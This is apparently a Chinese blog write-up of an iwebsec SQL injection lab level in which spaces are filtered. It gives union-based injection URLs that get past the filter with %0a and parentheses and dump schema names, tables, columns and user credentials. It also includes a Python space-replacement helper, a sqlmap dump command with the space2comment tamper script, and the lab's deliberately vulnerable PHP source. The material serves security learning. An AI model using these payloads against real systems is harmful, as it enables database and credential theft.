01、题目分析
空格过滤就是将用户输入的空格过滤掉,众所周知,sql注入语句中会有很多的sql注入语句,如果进行了空格过滤,那么sql注入语句会因为参数连接在一快导致不能正常注入
02、手工注入
既然是数字型注入,那么对sql注入语句中的空格用其他内容替换即可,可以使用/**/、()、%0a等等,我这里使用的是括号以及url编码%0a代表空格
依旧是先测试是字符型还是数字型
id=(0)and(1)=(2)
//页面正常但是无数据显示
id=(0)and(1)=(1)
//页面正常有回显,数字型
剩下的只需要将sql注入语句中的空格全部替换成编码即可
以下附送python脚本
def replace_spaces(sentence, replacement):
# sentence: 输入的语句
# replacement: 要替换空格的特定字符
# 返回替换后的结果
# 使用replace()函数将空格替换为指定字符
replaced_sentence = sentence.replace(' ', replacement)
return replaced_sentence
# 从用户输入获取语句和要替换的特定字符
input_sentence = input("请输入语句:")
replacement_character = '%0a'
# 调用函数进行空格替换
result = replace_spaces(input_sentence, replacement_character)
# 打印替换后的结果
print("替换后的结果:", result)
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(3)
-- 暴库
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata)
-- 暴表
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database())
-- 暴列
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0awhere%0atable_schema=database()and(table_name='users'))
-- 暴字段
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(concat(role,0x7e,username,0x3A,password,0x7e))%0Afrom%0Ausers)
02、工具注入
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/07.php?id=1" --current-db --dump --batch --tamper "space2comment.py"
03、代码分析
<?php
if(isset($_GET['id'])){
// 检查是否存在GET参数"id"
if (preg_match('/ /', $_GET["id"])) {
// 如果"id"参数中包含空格,则终止执行并输出"ERROR"
die("ERROR");
} else {
// 否则,获取"id"参数的值
$id=$_GET['id'];
// 构造SQL查询语句
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
// 执行SQL查询
$result=mysql_query($sql);
}
} else {
// 如果不存在GET参数"id",则终止执行
exit();
}
// 如果查询结果存在
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
// 循环遍历查询结果集中的每一行
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
}
echo "</table>";
} else {
// 如果查询结果不存在,则打印MySQL错误信息
// 注意:下面两行代码被注释掉了,可能会导致错误信息不可见
// echo '<font color= "#FFFFFF">';
print_r(mysql_error());
// echo "</font>";
}
// 包含footer.php文件
require_once '../footer.php';
?>
标签:php,07,sentence,--,空格,sql,iwebsec,id
From: https://www.cnblogs.com/bdrwmy/p/17641425.html